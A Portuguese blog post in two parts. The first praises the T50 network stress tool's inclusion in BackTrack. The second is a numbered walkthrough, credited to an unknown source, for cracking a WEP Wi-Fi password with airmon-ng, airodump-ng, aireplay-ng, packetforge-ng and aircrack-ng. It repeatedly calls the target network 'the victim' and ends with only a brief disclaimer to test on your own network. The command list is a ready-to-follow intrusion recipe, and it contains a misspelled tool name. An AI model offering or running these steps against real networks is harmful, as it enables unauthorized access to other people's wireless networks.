Fiquei muito contente em saber, via twitter, que o t50, ferramenta para realização de testes de stress em rede por profissionais de segurança, criada pelo Nelson Brito e suportada por uma galera show de bola, acaba de ser inclusa na próxima release do Backtrack, a mais utilizada distribuição linux de segurança.

O T50 foi apresentado pelo Nelson Brito no Web Security Forum e o pessoal ficou bolado, como dizem nós, os cariocas (ele foi apresentado primeiramente no h2hc). Parabéns ao pessoal que criou e que suporta esta excelente ferramente e um parabéns especial ao Ewerson Guimarães (crash) do DcLabs que conseguiu incluí-lá na nova release do BackTrack.

Parabéns ao time de desenvolvimento e suporte do T50 @MenteBinaria @elbertcirino @clandestine4 @gustavorobertux e um parabéns especial ao Lincoln Werneck por ter ajudado a rever o artigo e ter trazido novas informações.

Fonte:  Coruja de TI

Faça download do BackTrack 5 aqui depos grave e de boot no dvd e vai pedir senha e login

login: root
senha: toor
depois digite (startx) sem parentese para iniciar o BackTrack 5

Abra o console para digitar os comandos

1: airmon-ng (esse comando faz com que o bt5 reconheça sua placa de rede)
2: airmon-ng start wlan0 (esse comando faz com que fique em modo monitor)
3: airodump-ng mon0 (esse comando faz com que ele procure as redes ao seu redor)

abra outro console

4: airodump-ng --bssid (bssid) --channel x --ivs -w nome rede mon0 (esse comando faz com que vc monitore a rede da vitima)

abra outro console

5: aireplay-ng -5 -b (bssid) mon0 (espere ele vai pedir para você digitar y (yes) depois enter. Com esse comando você pega os pacotes da vitima)

abra outro console

6: aireplay-ng -1 1 -a (bssid) mon0(esse comando captura os pacotes criptografados da vitima)

abra outro console

7: packetforge-ng -0 -a (bssid) -h 00:11:22:33:44:55 -k 255.255.255.255 -l 255.255.255.255 -y (fragments) -w arpy(esse comando captura os date da vitima)

abra outro console

8: airopley-ng -3 -r arpy -b (bssid) mon0

abra outro console

9: aircrack-ng nome rede-01.ivs(aqui é o final e a hora de você saber a senha da rede wep. Eu aconselho a você esperar pelo menos ate 10.000 pacotes para pegar a senha, mas se você quiser com 5.000 pacotes é aceitável).

Fonte: Desconhecido
Não mim responsabilizo pelos seus atos teste em sua rede.